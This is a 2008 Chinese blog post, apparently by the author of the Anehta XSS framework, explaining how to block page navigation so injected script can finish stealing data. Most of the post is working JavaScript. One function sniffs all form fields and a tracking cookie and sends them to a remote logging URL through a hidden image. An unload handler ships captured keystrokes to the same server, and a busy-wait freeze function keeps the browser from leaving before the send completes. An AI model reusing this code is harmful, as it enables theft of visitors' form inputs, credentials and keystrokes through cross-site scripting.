aullik5 |   | 我的空间  | 百度首页 | 百度空间
 
查看文章
 
Anehta -- More on Hook Submit:阻塞Method的技巧
2008-10-29 10:24
上一篇提到了如何做hook,也讲到了hook表单提交的几种不同方式。

今天要讲的是实现的一点细节。

我们知道,javascript中大部分的method都是非阻塞的,这样的好处是可以提高效率,坏处是很多时候我们确实是需要阻塞的功能。

极少数method是阻塞的,比如 alert()这个函数,在alert()执行完成并返回前,alert()之后的javascript代码都不会执行。

再比如html页面里的 <link >标签应该也是一个阻塞的标签,在该stylesheet加载完成前,后面的标签都不会加载。

所以我们如果在执行一些javascript函数时,如果需要等待某个函数的返回结果,才继续执行,就需要使用这一类方法或者技巧。

在hook submit的过程中我就遇到了类似的问题:

不论是使用jQuery中的绑定事件,或者是自己hook函数的方法,均会产生一个类似 竞争条件 的问题,在submit提交时,还没有执行完logCookie的过程,页面就已经跳转了,从而使得cookie记录失败。

所以我们需要做的事情就是,

使得 anehta.logger.logForm() 这个函数 阻塞,或者 迟滞 submit提交、页面跳转的时间。

因为logForm()函数里,最终都是调用getURL() 实现的向远程服务器传递消息,所以需要等待 getURL()的返回。

在这里我采用的迟滞的技巧。

AttackAPI中有一个函数: freeze(),不知道作者的本意是什么,但是我用在这里却起到了延迟的效果,它能够冻结住页面一段时间,但是却并不影响JS的执行。可是页面却在这段时间内不会跳转了,所以我们有了充分的时间可以完成我们的工作。

anehta.logger.logForm = function(o) {
    //alert("logForm");
    var inputs = o.getElementsByTagName("input");
    //url += "?";
    var param = ""; // form的参数

    for (var i = 0; i < inputs.length; i ++) {
        if (inputs[i].getAttribute("name") != null &&
            inputs[i].getAttribute("name") != "") {
            param += escape(inputs[i].getAttribute("name")) + "=" + escape(inputs[i].value) + "&";
        }
    }
   
    // 记录提交的参数到远程服务器
    param = XssInfo_S + "Watermark: " + anehta.dom.getCookie("anehtaWatermark") + XssInfo_E +
            XssInfo_S + "Form Sniffer: " + escape(param) + XssInfo_E;
    param = anehta.crypto.base64encode(param); //base64时候对时间影响太大,会导致还没发包就页面跳转,从而出错
    //alert(param);
   
    var img = document.createElement("IMG");
    document.body.appendChild(img);
    img.width = 0;
    img.height = 0;
    img.src = logurl+param;
   
    // 需要冻结一段时间保证getURL成功完成
    anehta.core.freeze(300);   
    //return false;
}

类似使用freeze()的地方,还有keylogger.

// 在窗口关闭时候发送keylog 到服务器
$(window).unload(function(){
    //alert(keylogger);
    // 时间不允许再base64加密了
    //keylogger = anehta.crypto.base64encode(keylogger);
    // 明文传输,需要标记为NoCryptMark
    keylogger = NoCryptMark + XssInfo_S+"Keylogger: " + keylogger + XssInfo_E;
    //alert(keylogger);
    //anehta.core.freeze(500);
    anehta.net.getURL(logurl+escape(keylogger));
    anehta.core.freeze(900);
    //alert(keylogger);   
}
);


其实现如下:
// 在time(ms)时间内冻结浏览器;idea from AttackAPI
anehta.core.freeze = function(time){
    var date = new Date();
var cur = null;

do {
    cur = new Date();
} while(cur - date < time);
};


当然还有更多的阻塞或者迟滞的技巧,以后再慢慢讨论和研究。

类别:象牙塔 | 编辑 | 删除 | 添加到搜藏 | 浏览() | 评论 (3)
 
最近读者:
 
网友评论:
1
2008-10-29 22:12 |
请教下 用啥写js.
notepad?
 
2
2008-10-30 03:14 |
Aptana Studio
 
3
2008-10-30 10:05 |
我是直接用ultra edit写
 
发表评论:
姓 名: aullik5
内 容:
 

     

©2008 Baidu